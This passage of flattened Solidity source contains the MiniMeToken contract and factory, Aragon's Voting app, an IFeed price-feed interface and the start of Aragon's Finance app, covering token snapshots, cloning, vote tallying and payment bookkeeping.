totalSupplyHistory; // Flag that determines if the token is transferable or not. bool public transfersEnabled; // The factory used to create new clone tokens MiniMeTokenFactory public tokenFactory; //////////////// // Constructor //////////////// /// @notice Constructor to create a MiniMeToken /// @param _tokenFactory The address of the MiniMeTokenFactory contract that /// will create the Clone token contracts, the token factory needs to be /// deployed first /// @param _parentToken Address of the parent token, set to 0x0 if it is a /// new token /// @param _parentSnapShotBlock Block of the parent token that will /// determine the initial distribution of the clone token, set to 0 if it /// is a new token /// @param _tokenName Name of the new token /// @param _decimalUnits Number of decimals of the new token /// @param _tokenSymbol Token Symbol for the new token /// @param _transfersEnabled If true, tokens will be able to be transferred function MiniMeToken( MiniMeTokenFactory _tokenFactory, MiniMeToken _parentToken, uint _parentSnapShotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public { tokenFactory = _tokenFactory; name = _tokenName; // Set the name decimals = _decimalUnits; // Set the decimals symbol = _tokenSymbol; // Set the symbol parentToken = _parentToken; parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; } /////////////////// // ERC20 Methods /////////////////// /// @notice Send `_amount` tokens to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); return doTransfer(msg.sender, _to, _amount); } /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it /// is approved by `_from` /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { // The controller of this contract can move tokens around at will, // this is important to recognize! Confirm that you trust the // controller of this contract, which in most situations should be // another open source smart contract or 0x0 if (msg.sender != controller) { require(transfersEnabled); // The standard ERC 20 transferFrom functionality if (allowed[_from][msg.sender] < _amount) return false; allowed[_from][msg.sender] -= _amount; } return doTransfer(_from, _to, _amount); } /// @dev This is the actual transfer function in the token contract, it can /// only be called by other functions in this contract. /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function doTransfer(address _from, address _to, uint _amount) internal returns(bool) { if (_amount == 0) { return true; } require(parentSnapShotBlock < block.number); // Do not allow transfer to 0x0 or the token contract itself require((_to != 0) && (_to != address(this))); // If the amount being transfered is more than the balance of the // account the transfer returns false var previousBalanceFrom = balanceOfAt(_from, block.number); if (previousBalanceFrom < _amount) { return false; } // Alerts the token controller of the transfer if (isContract(controller)) { // Adding the ` == true` makes the linter shut up so... require(ITokenController(controller).onTransfer(_from, _to, _amount) == true); } // First update the balance array with the new value for the address // sending the tokens updateValueAtNow(balances[_from], previousBalanceFrom - _amount); // Then update the balance array with the new value for the address // receiving the tokens var previousBalanceTo = balanceOfAt(_to, block.number); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow updateValueAtNow(balances[_to], previousBalanceTo + _amount); // An event to make the transfer easy to find on the blockchain Transfer(_from, _to, _amount); return true; } /// @param _owner The address that's balance is being requested /// @return The balance of `_owner` at the current block function balanceOf(address _owner) public constant returns (uint256 balance) { return balanceOfAt(_owner, block.number); } /// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on /// its behalf. This is a modified version of the ERC20 approve function /// to be a little bit safer /// @param _spender The address of the account able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the approval was successful function approve(address _spender, uint256 _amount) public returns (bool success) { require(transfersEnabled); // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender,0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); // Alerts the token controller of the approve function call if (isContract(controller)) { // Adding the ` == true` makes the linter shut up so... require(ITokenController(controller).onApprove(msg.sender, _spender, _amount) == true); } allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } /// @dev This function makes it easy to read the `allowed[]` map /// @param _owner The address of the account that owns the token /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens of _owner that _spender is allowed /// to spend function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /// @notice `msg.sender` approves `_spender` to send `_amount` tokens on /// its behalf, and then a function is triggered in the contract that is /// being approved, `_spender`. This allows users to use their tokens to /// interact with contracts in one function call instead of two /// @param _spender The address of the contract able to transfer the tokens /// @param _amount The amount of tokens to be approved for transfer /// @return True if the function call was successful function approveAndCall(ApproveAndCallFallBack _spender, uint256 _amount, bytes _extraData) public returns (bool success) { require(approve(_spender, _amount)); _spender.receiveApproval( msg.sender, _amount, this, _extraData ); return true; } /// @dev This function makes it easy to get the total number of tokens /// @return The total number of tokens function totalSupply() public constant returns (uint) { return totalSupplyAt(block.number); } //////////////// // Query balance and totalSupply in History //////////////// /// @dev Queries the balance of `_owner` at a specific `_blockNumber` /// @param _owner The address from which the balance will be retrieved /// @param _blockNumber The block number when the balance is queried /// @return The balance at `_blockNumber` function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) { // These next few lines are used when the balance of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.balanceOfAt` be queried at the // genesis block for that token as this contains initial balance of // this token if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { // Has no parent return 0; } // This will return the expected balance during normal situations } else { return getValueAt(balances[_owner], _blockNumber); } } /// @notice Total amount of tokens at a specific `_blockNumber`. /// @param _blockNumber The block number when the totalSupply is queried /// @return The total amount of tokens at `_blockNumber` function totalSupplyAt(uint _blockNumber) public constant returns(uint) { // These next few lines are used when the totalSupply of the token is // requested before a check point was ever created for this token, it // requires that the `parentToken.totalSupplyAt` be queried at the // genesis block for this token as that contains totalSupply of this // token at this block number. if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } // This will return the expected totalSupply during normal situations } else { return getValueAt(totalSupplyHistory, _blockNumber); } } //////////////// // Clone Token Method //////////////// /// @notice Creates a new clone token with the initial distribution being /// this token at `_snapshotBlock` /// @param _cloneTokenName Name of the clone token /// @param _cloneDecimalUnits Number of decimals of the smallest unit /// @param _cloneTokenSymbol Symbol of the clone token /// @param _snapshotBlock Block when the distribution of the parent token is /// copied to set the initial distribution of the new clone token; /// if the block is zero than the actual block, the current block is used /// @param _transfersEnabled True if transfers are allowed in the clone /// @return The address of the new MiniMeToken Contract function createCloneToken( string _cloneTokenName, uint8 _cloneDecimalUnits, string _cloneTokenSymbol, uint _snapshotBlock, bool _transfersEnabled ) public returns(MiniMeToken) { uint256 snapshot = _snapshotBlock == 0 ? block.number - 1 : _snapshotBlock; MiniMeToken cloneToken = tokenFactory.createCloneToken( this, snapshot, _cloneTokenName, _cloneDecimalUnits, _cloneTokenSymbol, _transfersEnabled ); cloneToken.changeController(msg.sender); // An event to make the token easy to find on the blockchain NewCloneToken(address(cloneToken), snapshot); return cloneToken; } //////////////// // Generate and destroy tokens //////////////// /// @notice Generates `_amount` tokens that are assigned to `_owner` /// @param _owner The address that will be assigned the new tokens /// @param _amount The quantity of tokens generated /// @return True if the tokens are generated correctly function generateTokens(address _owner, uint _amount) onlyController public returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow uint previousBalanceTo = balanceOf(_owner); require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); updateValueAtNow(balances[_owner], previousBalanceTo + _amount); Transfer(0, _owner, _amount); return true; } /// @notice Burns `_amount` tokens from `_owner` /// @param _owner The address that will lose the tokens /// @param _amount The quantity of tokens to burn /// @return True if the tokens are burned correctly function destroyTokens(address _owner, uint _amount) onlyController public returns (bool) { uint curTotalSupply = totalSupply(); require(curTotalSupply >= _amount); uint previousBalanceFrom = balanceOf(_owner); require(previousBalanceFrom >= _amount); updateValueAtNow(totalSupplyHistory, curTotalSupply - _amount); updateValueAtNow(balances[_owner], previousBalanceFrom - _amount); Transfer(_owner, 0, _amount); return true; } //////////////// // Enable tokens transfers //////////////// /// @notice Enables token holders to transfer their tokens freely if true /// @param _transfersEnabled True if transfers are allowed in the clone function enableTransfers(bool _transfersEnabled) onlyController public { transfersEnabled = _transfersEnabled; } //////////////// // Internal helper functions to query and set a value in a snapshot array //////////////// /// @dev `getValueAt` retrieves the number of tokens at a given block number /// @param checkpoints The history of values being queried /// @param _block The block number to retrieve the value at /// @return The number of tokens being queried function getValueAt(Checkpoint[] storage checkpoints, uint _block) constant internal returns (uint) { if (checkpoints.length == 0) return 0; // Shortcut for the actual value if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; // Binary search of the value in the array uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1) / 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } /// @dev `updateValueAtNow` used to update the `balances` map and the /// `totalSupplyHistory` /// @param checkpoints The history of data being updated /// @param _value The new number of tokens function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length - 1]; oldCheckPoint.value = uint128(_value); } } /// @dev Internal function to determine if an address is a contract /// @param _addr The address being queried /// @return True if `_addr` is a contract function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } /// @dev Helper function to return a min betwen the two uints function min(uint a, uint b) pure internal returns (uint) { return a < b ? a : b; } /// @notice The fallback function: If the contract's controller has not been /// set to 0, then the `proxyPayment` method is called which relays the /// ether and creates tokens as described in the token controller contract function () external payable { require(isContract(controller)); // Adding the ` == true` makes the linter shut up so... require(ITokenController(controller).proxyPayment.value(msg.value)(msg.sender) == true); } ////////// // Safety Methods ////////// /// @notice This method can be used by the controller to extract mistakenly /// sent tokens to this contract. /// @param _token The address of the token contract that you want to recover /// set to 0 in case you want to extract ether. function claimTokens(address _token) onlyController public { if (_token == 0x0) { controller.transfer(this.balance); return; } MiniMeToken token = MiniMeToken(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); ClaimedTokens(_token, controller, balance); } //////////////// // Events //////////////// event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); event Transfer(address indexed _from, address indexed _to, uint256 _amount); event NewCloneToken(address indexed _cloneToken, uint _snapshotBlock); event Approval( address indexed _owner, address indexed _spender, uint256 _amount ); } //////////////// // MiniMeTokenFactory //////////////// /// @dev This contract is used to generate clone contracts from a contract. /// In solidity this is the way to create a contract from a contract of the /// same class contract MiniMeTokenFactory { /// @notice Update the DApp by creating a new token with new functionalities /// the msg.sender becomes the controller of this clone token /// @param _parentToken Address of the token being cloned /// @param _snapshotBlock Block of the parent token that will /// determine the initial distribution of the clone token /// @param _tokenName Name of the new token /// @param _decimalUnits Number of decimals of the new token /// @param _tokenSymbol Token Symbol for the new token /// @param _transfersEnabled If true, tokens will be able to be transferred /// @return The address of the new token contract function createCloneToken( MiniMeToken _parentToken, uint _snapshotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public returns (MiniMeToken) { MiniMeToken newToken = new MiniMeToken( this, _parentToken, _snapshotBlock, _tokenName, _decimalUnits, _tokenSymbol, _transfersEnabled ); newToken.changeController(msg.sender); return newToken; } } // File: @aragon/apps-voting/contracts/Voting.sol /* * SPDX-License-Identitifer: GPL-3.0-or-later */ pragma solidity 0.4.24; contract Voting is IForwarder, AragonApp { using SafeMath for uint256; using SafeMath64 for uint64; bytes32 public constant CREATE_VOTES_ROLE = keccak256("CREATE_VOTES_ROLE"); bytes32 public constant MODIFY_SUPPORT_ROLE = keccak256("MODIFY_SUPPORT_ROLE"); bytes32 public constant MODIFY_QUORUM_ROLE = keccak256("MODIFY_QUORUM_ROLE"); uint64 public constant PCT_BASE = 10 ** 18; // 0% = 0; 1% = 10^16; 100% = 10^18 string private constant ERROR_NO_VOTE = "VOTING_NO_VOTE"; string private constant ERROR_INIT_PCTS = "VOTING_INIT_PCTS"; string private constant ERROR_CHANGE_SUPPORT_PCTS = "VOTING_CHANGE_SUPPORT_PCTS"; string private constant ERROR_CHANGE_QUORUM_PCTS = "VOTING_CHANGE_QUORUM_PCTS"; string private constant ERROR_INIT_SUPPORT_TOO_BIG = "VOTING_INIT_SUPPORT_TOO_BIG"; string private constant ERROR_CHANGE_SUPPORT_TOO_BIG = "VOTING_CHANGE_SUPP_TOO_BIG"; string private constant ERROR_CAN_NOT_VOTE = "VOTING_CAN_NOT_VOTE"; string private constant ERROR_CAN_NOT_EXECUTE = "VOTING_CAN_NOT_EXECUTE"; string private constant ERROR_CAN_NOT_FORWARD = "VOTING_CAN_NOT_FORWARD"; string private constant ERROR_NO_VOTING_POWER = "VOTING_NO_VOTING_POWER"; enum VoterState { Absent, Yea, Nay } struct Vote { bool executed; uint64 startDate; uint64 snapshotBlock; uint64 supportRequiredPct; uint64 minAcceptQuorumPct; uint256 yea; uint256 nay; uint256 votingPower; bytes executionScript; mapping (address => VoterState) voters; } MiniMeToken public token; uint64 public supportRequiredPct; uint64 public minAcceptQuorumPct; uint64 public voteTime; // We are mimicing an array, we use a mapping instead to make app upgrade more graceful mapping (uint256 => Vote) internal votes; uint256 public votesLength; event StartVote(uint256 indexed voteId, address indexed creator, string metadata); event CastVote(uint256 indexed voteId, address indexed voter, bool supports, uint256 stake); event ExecuteVote(uint256 indexed voteId); event ChangeSupportRequired(uint64 supportRequiredPct); event ChangeMinQuorum(uint64 minAcceptQuorumPct); modifier voteExists(uint256 _voteId) { require(_voteId < votesLength, ERROR_NO_VOTE); _; } /** * @notice Initialize Voting app with `_token.symbol(): string` for governance, minimum support of `@formatPct(_supportRequiredPct)`%, minimum acceptance quorum of `@formatPct(_minAcceptQuorumPct)`%, and a voting duration of `@transformTime(_voteTime)` * @param _token MiniMeToken Address that will be used as governance token * @param _supportRequiredPct Percentage of yeas in casted votes for a vote to succeed (expressed as a percentage of 10^18; eg. 10^16 = 1%, 10^18 = 100%) * @param _minAcceptQuorumPct Percentage of yeas in total possible votes for a vote to succeed (expressed as a percentage of 10^18; eg. 10^16 = 1%, 10^18 = 100%) * @param _voteTime Seconds that a vote will be open for token holders to vote (unless enough yeas or nays have been cast to make an early decision) */ function initialize( MiniMeToken _token, uint64 _supportRequiredPct, uint64 _minAcceptQuorumPct, uint64 _voteTime ) external onlyInit { initialized(); require(_minAcceptQuorumPct <= _supportRequiredPct, ERROR_INIT_PCTS); require(_supportRequiredPct < PCT_BASE, ERROR_INIT_SUPPORT_TOO_BIG); token = _token; supportRequiredPct = _supportRequiredPct; minAcceptQuorumPct = _minAcceptQuorumPct; voteTime = _voteTime; } /** * @notice Change required support to `@formatPct(_supportRequiredPct)`% * @param _supportRequiredPct New required support */ function changeSupportRequiredPct(uint64 _supportRequiredPct) external authP(MODIFY_SUPPORT_ROLE, arr(uint256(_supportRequiredPct), uint256(supportRequiredPct))) { require(minAcceptQuorumPct <= _supportRequiredPct, ERROR_CHANGE_SUPPORT_PCTS); require(_supportRequiredPct < PCT_BASE, ERROR_CHANGE_SUPPORT_TOO_BIG); supportRequiredPct = _supportRequiredPct; emit ChangeSupportRequired(_supportRequiredPct); } /** * @notice Change minimum acceptance quorum to `@formatPct(_minAcceptQuorumPct)`% * @param _minAcceptQuorumPct New acceptance quorum */ function changeMinAcceptQuorumPct(uint64 _minAcceptQuorumPct) external authP(MODIFY_QUORUM_ROLE, arr(uint256(_minAcceptQuorumPct), uint256(minAcceptQuorumPct))) { require(_minAcceptQuorumPct <= supportRequiredPct, ERROR_CHANGE_QUORUM_PCTS); minAcceptQuorumPct = _minAcceptQuorumPct; emit ChangeMinQuorum(_minAcceptQuorumPct); } /** * @notice Create a new vote about "`_metadata`" * @param _executionScript EVM script to be executed on approval * @param _metadata Vote metadata * @return voteId Id for newly created vote */ function newVote(bytes _executionScript, string _metadata) external auth(CREATE_VOTES_ROLE) returns (uint256 voteId) { return _newVote(_executionScript, _metadata, true, true); } /** * @notice Create a new vote about "`_metadata`" * @param _executionScript EVM script to be executed on approval * @param _metadata Vote metadata * @param _castVote Whether to also cast newly created vote * @param _executesIfDecided Whether to also immediately execute newly created vote if decided * @return voteId id for newly created vote */ function newVote(bytes _executionScript, string _metadata, bool _castVote, bool _executesIfDecided) external auth(CREATE_VOTES_ROLE) returns (uint256 voteId) { return _newVote(_executionScript, _metadata, _castVote, _executesIfDecided); } /** * @notice Vote `_supports ? 'yes' : 'no'` in vote #`_voteId` * @dev Initialization check is implicitly provided by `voteExists()` as new votes can only be * created via `newVote(),` which requires initialization * @param _voteId Id for vote * @param _supports Whether voter supports the vote * @param _executesIfDecided Whether the vote should execute its action if it becomes decided */ function vote(uint256 _voteId, bool _supports, bool _executesIfDecided) external voteExists(_voteId) { require(_canVote(_voteId, msg.sender), ERROR_CAN_NOT_VOTE); _vote(_voteId, _supports, msg.sender, _executesIfDecided); } /** * @notice Execute vote #`_voteId` * @dev Initialization check is implicitly provided by `voteExists()` as new votes can only be * created via `newVote(),` which requires initialization * @param _voteId Id for vote */ function executeVote(uint256 _voteId) external voteExists(_voteId) { _executeVote(_voteId); } // Forwarding fns function isForwarder() external pure returns (bool) { return true; } /** * @notice Creates a vote to execute the desired action, and casts a support vote if possible * @dev IForwarder interface conformance * @param _evmScript Start vote with script */ function forward(bytes _evmScript) public { require(canForward(msg.sender, _evmScript), ERROR_CAN_NOT_FORWARD); _newVote(_evmScript, "", true, true); } function canForward(address _sender, bytes) public view returns (bool) { // Note that `canPerform()` implicitly does an initialization check itself return canPerform(_sender, CREATE_VOTES_ROLE, arr()); } // Getter fns /** * @dev Initialization check is implicitly provided by `voteExists()` as new votes can only be * created via `newVote(),` which requires initialization */ function canExecute(uint256 _voteId) public view voteExists(_voteId) returns (bool) { return _canExecute(_voteId); } /** * @dev Initialization check is implicitly provided by `voteExists()` as new votes can only be * created via `newVote(),` which requires initialization */ function canVote(uint256 _voteId, address _voter) public view voteExists(_voteId) returns (bool) { return _canVote(_voteId, _voter); } function getVote(uint256 _voteId) public view voteExists(_voteId) returns ( bool open, bool executed, uint64 startDate, uint64 snapshotBlock, uint64 supportRequired, uint64 minAcceptQuorum, uint256 yea, uint256 nay, uint256 votingPower, bytes script ) { Vote storage vote_ = votes[_voteId]; open = _isVoteOpen(vote_); executed = vote_.executed; startDate = vote_.startDate; snapshotBlock = vote_.snapshotBlock; supportRequired = vote_.supportRequiredPct; minAcceptQuorum = vote_.minAcceptQuorumPct; yea = vote_.yea; nay = vote_.nay; votingPower = vote_.votingPower; script = vote_.executionScript; } function getVoterState(uint256 _voteId, address _voter) public view voteExists(_voteId) returns (VoterState) { return votes[_voteId].voters[_voter]; } // Internal fns function _newVote(bytes _executionScript, string _metadata, bool _castVote, bool _executesIfDecided) internal returns (uint256 voteId) { uint64 snapshotBlock = getBlockNumber64() - 1; // avoid double voting in this very block uint256 votingPower = token.totalSupplyAt(snapshotBlock); require(votingPower > 0, ERROR_NO_VOTING_POWER); voteId = votesLength++; Vote storage vote_ = votes[voteId]; vote_.startDate = getTimestamp64(); vote_.snapshotBlock = snapshotBlock; vote_.supportRequiredPct = supportRequiredPct; vote_.minAcceptQuorumPct = minAcceptQuorumPct; vote_.votingPower = votingPower; vote_.executionScript = _executionScript; emit StartVote(voteId, msg.sender, _metadata); if (_castVote && _canVote(voteId, msg.sender)) { _vote(voteId, true, msg.sender, _executesIfDecided); } } function _vote( uint256 _voteId, bool _supports, address _voter, bool _executesIfDecided ) internal { Vote storage vote_ = votes[_voteId]; // This could re-enter, though we can assume the governance token is not malicious uint256 voterStake = token.balanceOfAt(_voter, vote_.snapshotBlock); VoterState state = vote_.voters[_voter]; // If voter had previously voted, decrease count if (state == VoterState.Yea) { vote_.yea = vote_.yea.sub(voterStake); } else if (state == VoterState.Nay) { vote_.nay = vote_.nay.sub(voterStake); } if (_supports) { vote_.yea = vote_.yea.add(voterStake); } else { vote_.nay = vote_.nay.add(voterStake); } vote_.voters[_voter] = _supports ? VoterState.Yea : VoterState.Nay; emit CastVote(_voteId, _voter, _supports, voterStake); if (_executesIfDecided && _canExecute(_voteId)) { // We've already checked if the vote can be executed with `_canExecute()` _unsafeExecuteVote(_voteId); } } function _executeVote(uint256 _voteId) internal { require(_canExecute(_voteId), ERROR_CAN_NOT_EXECUTE); _unsafeExecuteVote(_voteId); } /** * @dev Unsafe version of _executeVote that assumes you have already checked if the vote can be executed */ function _unsafeExecuteVote(uint256 _voteId) internal { Vote storage vote_ = votes[_voteId]; vote_.executed = true; bytes memory input = new bytes(0); // TODO: Consider input for voting scripts runScript(vote_.executionScript, input, new address[](0)); emit ExecuteVote(_voteId); } function _canExecute(uint256 _voteId) internal view returns (bool) { Vote storage vote_ = votes[_voteId]; if (vote_.executed) { return false; } // Voting is already decided if (_isValuePct(vote_.yea, vote_.votingPower, vote_.supportRequiredPct)) { return true; } // Vote ended? if (_isVoteOpen(vote_)) { return false; } // Has enough support? uint256 totalVotes = vote_.yea.add(vote_.nay); if (!_isValuePct(vote_.yea, totalVotes, vote_.supportRequiredPct)) { return false; } // Has min quorum? if (!_isValuePct(vote_.yea, vote_.votingPower, vote_.minAcceptQuorumPct)) { return false; } return true; } function _canVote(uint256 _voteId, address _voter) internal view returns (bool) { Vote storage vote_ = votes[_voteId]; return _isVoteOpen(vote_) && token.balanceOfAt(_voter, vote_.snapshotBlock) > 0; } function _isVoteOpen(Vote storage vote_) internal view returns (bool) { return getTimestamp64() < vote_.startDate.add(voteTime) && !vote_.executed; } /** * @dev Calculates whether `_value` is more than a percentage `_pct` of `_total` */ function _isValuePct(uint256 _value, uint256 _total, uint256 _pct) internal pure returns (bool) { if (_total == 0) { return false; } uint256 computedPct = _value.mul(PCT_BASE) / _total; return computedPct > _pct; } } // File: @aragon/ppf-contracts/contracts/IFeed.sol pragma solidity ^0.4.18; interface IFeed { function ratePrecision() external pure returns (uint256); function get(address base, address quote) external view returns (uint128 xrt, uint64 when); } // File: @aragon/apps-finance/contracts/Finance.sol /* * SPDX-License-Identitifer: GPL-3.0-or-later */ pragma solidity 0.4.24; contract Finance is EtherTokenConstant, IsContract, AragonApp { using SafeMath for uint256; using SafeMath64 for uint64; using SafeERC20 for ERC20; bytes32 public constant CREATE_PAYMENTS_ROLE = keccak256("CREATE_PAYMENTS_ROLE"); bytes32 public constant CHANGE_PERIOD_ROLE = keccak256("CHANGE_PERIOD_ROLE"); bytes32 public constant CHANGE_BUDGETS_ROLE = keccak256("CHANGE_BUDGETS_ROLE"); bytes32 public constant EXECUTE_PAYMENTS_ROLE = keccak256("EXECUTE_PAYMENTS_ROLE"); bytes32 public constant MANAGE_PAYMENTS_ROLE = keccak256("MANAGE_PAYMENTS_ROLE"); uint256 internal constant NO_SCHEDULED_PAYMENT = 0; uint256 internal constant NO_TRANSACTION = 0; uint256 internal constant MAX_SCHEDULED_PAYMENTS_PER_TX = 20; uint256 internal constant MAX_UINT256 = uint256(-1); uint64 internal constant MAX_UINT64 = uint64(-1); uint64 internal constant MINIMUM_PERIOD = uint64(1 days); string private constant ERROR_COMPLETE_TRANSITION = "FINANCE_COMPLETE_TRANSITION"; string private constant ERROR_NO_SCHEDULED_PAYMENT = "FINANCE_NO_SCHEDULED_PAYMENT"; string private constant ERROR_NO_TRANSACTION = "FINANCE_NO_TRANSACTION"; string private constant ERROR_NO_PERIOD = "FINANCE_NO_PERIOD"; string private constant ERROR_VAULT_NOT_CONTRACT = "FINANCE_VAULT_NOT_CONTRACT"; string private constant ERROR_SET_PERIOD_TOO_SHORT = "FINANCE_SET_PERIOD_TOO_SHORT"; string private constant ERROR_NEW_PAYMENT_AMOUNT_ZERO = "FINANCE_NEW_PAYMENT_AMOUNT_ZERO"; string private constant ERROR_NEW_PAYMENT_INTERVAL_ZERO = "FINANCE_NEW_PAYMENT_INTRVL_ZERO"; string private constant ERROR_NEW_PAYMENT_EXECS_ZERO = "FINANCE_NEW_PAYMENT_EXECS_ZERO"; string private constant ERROR_NEW_PAYMENT_IMMEDIATE = "FINANCE_NEW_PAYMENT_IMMEDIATE"; string private constant ERROR_RECOVER_AMOUNT_ZERO = "FINANCE_RECOVER_AMOUNT_ZERO"; string private constant ERROR_DEPOSIT_AMOUNT_ZERO = "FINANCE_DEPOSIT_AMOUNT_ZERO"; string private constant ERROR_ETH_VALUE_MISMATCH = "FINANCE_ETH_VALUE_MISMATCH"; string private constant ERROR_BUDGET = "FINANCE_BUDGET"; string private constant ERROR_EXECUTE_PAYMENT_NUM = "FINANCE_EXECUTE_PAYMENT_NUM"; string private constant ERROR_EXECUTE_PAYMENT_TIME = "FINANCE_EXECUTE_PAYMENT_TIME"; string private constant ERROR_PAYMENT_RECEIVER = "FINANCE_PAYMENT_RECEIVER"; string private constant ERROR_TOKEN_TRANSFER_FROM_REVERTED = "FINANCE_TKN_TRANSFER_FROM_REVERT"; string private constant ERROR_TOKEN_APPROVE_FAILED = "FINANCE_TKN_APPROVE_FAILED"; string private constant ERROR_PAYMENT_INACTIVE = "FINANCE_PAYMENT_INACTIVE"; string private constant ERROR_REMAINING_BUDGET = "FINANCE_REMAINING_BUDGET"; // Order optimized for storage struct ScheduledPayment { address token; address receiver; address createdBy; bool inactive; uint256 amount; uint64 initialPaymentTime; uint64 interval; uint64 maxExecutions; uint64 executions; } // Order optimized for storage struct Transaction { address token; address entity; bool isIncoming; uint256 amount; uint256 paymentId; uint64 paymentExecutionNumber; uint64 date; uint64 periodId; } struct TokenStatement { uint256 expenses; uint256 income; } struct Period { uint64 startTime; uint64 endTime; uint256 firstTransactionId; uint256 lastTransactionId; mapping (address => TokenStatement) tokenStatement; } struct Settings { uint64 periodDuration; mapping (address => uint256) budgets; mapping (address => bool) hasBudget; } Vault public vault; Settings internal settings; // We are mimicing arrays, we use mappings instead to make app upgrade more graceful mapping (uint256 => ScheduledPayment) internal scheduledPayments; // Payments start at index 1, to allow us to use scheduledPayments[0] for transactions that are not // linked to a scheduled payment uint256 public paymentsNextIndex; mapping (uint256 => Transaction) internal transactions; uint256 public transactionsNextIndex; mapping (uint64 => Period) internal periods; uint64 public periodsLength; event NewPeriod(uint64 indexed periodId, uint64 periodStarts, uint64 periodEnds); event SetBudget(address indexed token, uint256 amount, bool hasBudget); event NewPayment(uint256 indexed paymentId, address indexed recipient, uint64 maxExecutions, string reference); event NewTransaction(uint256 indexed transactionId, bool incoming, address indexed entity, uint256 amount, string reference); event ChangePaymentState(uint256 indexed paymentId, bool active); event ChangePeriodDuration(uint64 newDuration); event PaymentFailure(uint256 paymentId); // Modifier used by all methods that impact accounting to make sure accounting period // is changed before the operation if needed // NOTE: its use **MUST** be accompanied by an initialization check modifier transitionsPeriod { bool completeTransition = _tryTransitionAccountingPeriod(getMaxPeriodTransitions()); require(completeTransition, ERROR_COMPLETE_TRANSITION); _; } modifier scheduledPaymentExists(uint256 _paymentId) { require(_paymentId > 0 && _paymentId < paymentsNextIndex, ERROR_NO_SCHEDULED_PAYMENT); _; } modifier transactionExists(uint256 _transactionId) { require(_transactionId > 0 && _transactionId < transactionsNextIndex, ERROR_NO_TRANSACTION); _; } modifier periodExists(uint64 _periodId) { require(_periodId < periodsLength, ERROR_NO_PERIOD); _; } /** * @notice Deposit ETH to the Vault, to avoid locking them in this Finance app forever * @dev Send ETH to Vault. Send all the available balance. */ function () external payable isInitialized transitionsPeriod { require(msg.value > 0, ERROR_DEPOSIT_AMOUNT_ZERO); _deposit( ETH, msg.value, "Ether transfer to Finance app", msg.sender, true ); } /** * @notice Initialize Finance app for Vault at `_vault` with period length of `@transformTime(_periodDuration)` * @param _vault Address of the vault Finance will rely on (non changeable) * @param _periodDuration Duration in seconds of each period */ function initialize(Vault _vault, uint64 _periodDuration) external onlyInit { initialized(); require(isContract(_vault), ERROR_VAULT_NOT_CONTRACT); vault = _vault; require(_periodDuration >= MINIMUM_PERIOD, ERROR_SET_PERIOD_TOO_SHORT); settings.periodDuration = _periodDuration; // Reserve the first scheduled payment index as an unused index for transactions not linked // to a scheduled payment scheduledPayments[0].inactive = true; paymentsNextIndex = 1; // Reserve the first transaction index as an unused index for periods with no transactions transactionsNextIndex = 1; // Start the first period _newPeriod(getTimestamp64()); } /** * @notice Deposit `@tokenAmount(_token, _amount)` * @dev Deposit for approved ERC20 tokens or ETH * @param _token Address of deposited token * @param _amount Amount of tokens sent * @param _reference Reason for payment */ function deposit(address _token, uint256 _amount, string _reference) external payable isInitialized transitionsPeriod { require(_amount > 0, ERROR_DEPOSIT_AMOUNT_ZERO); if (_token == ETH) { // Ensure that the ETH sent with the transaction equals the amount in the deposit require(msg.value == _amount, ERROR_ETH_VALUE_MISMATCH); } _deposit( _token, _amount, _reference, msg.sender, true ); } /** * @notice Create a new payment of `@tokenAmount(_token, _amount)` to `_receiver` for '`_reference`' * @dev Note that this function is protected by the `CREATE_PAYMENTS_ROLE` but uses `MAX_UINT256` * as its interval auth parameter (as a sentinel value for "never repeating"). * While this protects against most cases (you typically want to set a baseline requirement * for interval time), it does mean users will have to 